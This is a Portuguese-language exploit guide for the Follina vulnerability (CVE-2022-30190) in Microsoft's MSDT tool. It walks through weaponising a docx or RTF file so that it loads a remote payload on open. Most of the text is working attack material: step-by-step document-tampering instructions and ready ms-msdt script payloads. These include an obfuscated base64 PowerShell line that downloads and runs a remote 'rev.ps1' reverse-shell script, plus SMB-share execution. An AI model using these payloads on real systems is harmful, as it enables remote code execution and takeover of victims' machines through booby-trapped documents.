MS-MSDT-Office-RCE-Follina

CVE-2022-30190 | MS-MSDT Follina Um Clique

1. Crie um arquivo Docx.
2. No arquivo Docx, Inserir > Objeto > Imagem Bitmap > Ok
3. No aplicativo Paint que foi aberto, salve o arquivo do Paint.
4. Salve seu arquivo Docx.
5. Abra seu arquivo como um arquivo compactado (Com 7Zip; Clique com o botão direito > 7Zip > Abrir Arquivo.)
6. Copie o Document.xml de \Word\ e o arquivo document.xml.rels de \word_rels\
7. Abra/Edite o \word_rels\Document.xml.rels e localize a Tag XML de relacionamento com "/relationships/oleObject". Depois disso, substitua o destino em "Target=" pelo seu destino remoto de onde o payload será obtido. Além disso, adicione "TargetMode="External"" à Tag XML.
8. Comprima de volta para um arquivo Docx (Enviar para > Pasta Compactada (zipada) | Renomeie o tipo de arquivo de zip > docx/doc)

Tipo de Arquivo RTF

Uma vez que um docx foi salvo utilizando os parâmetros passo / parâmetros abaixo. Salve o Docx como RTF.

Se você também adicionar esses elementos sob o elemento <o:OLEObject> em word/document.xml:

<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>

O ato de recomprimir pode ser observado também no script Python do JohnHammond:
~ Reconstrói o arquivo original do Office ~

shutil.make_archive(args.output, "zip", doc_path)  
os.rename(args.output + ".zip", args.output)  

Referência: https://github.com/JohnHammond/msdt-follina/blob/main/follina.py

Payloads

Execução Básica da Calculadora:

<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>

Pode substituir Start-Process('calc') por:

IEX('calc.exe')

Execução via Compartilhamento SMB:

<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";
</script>

Carregamento de Arquivo PS1:

<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>  

Decodificado: Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))

O access.log do Apache2 deve mostrar a conexão ao abrir o arquivo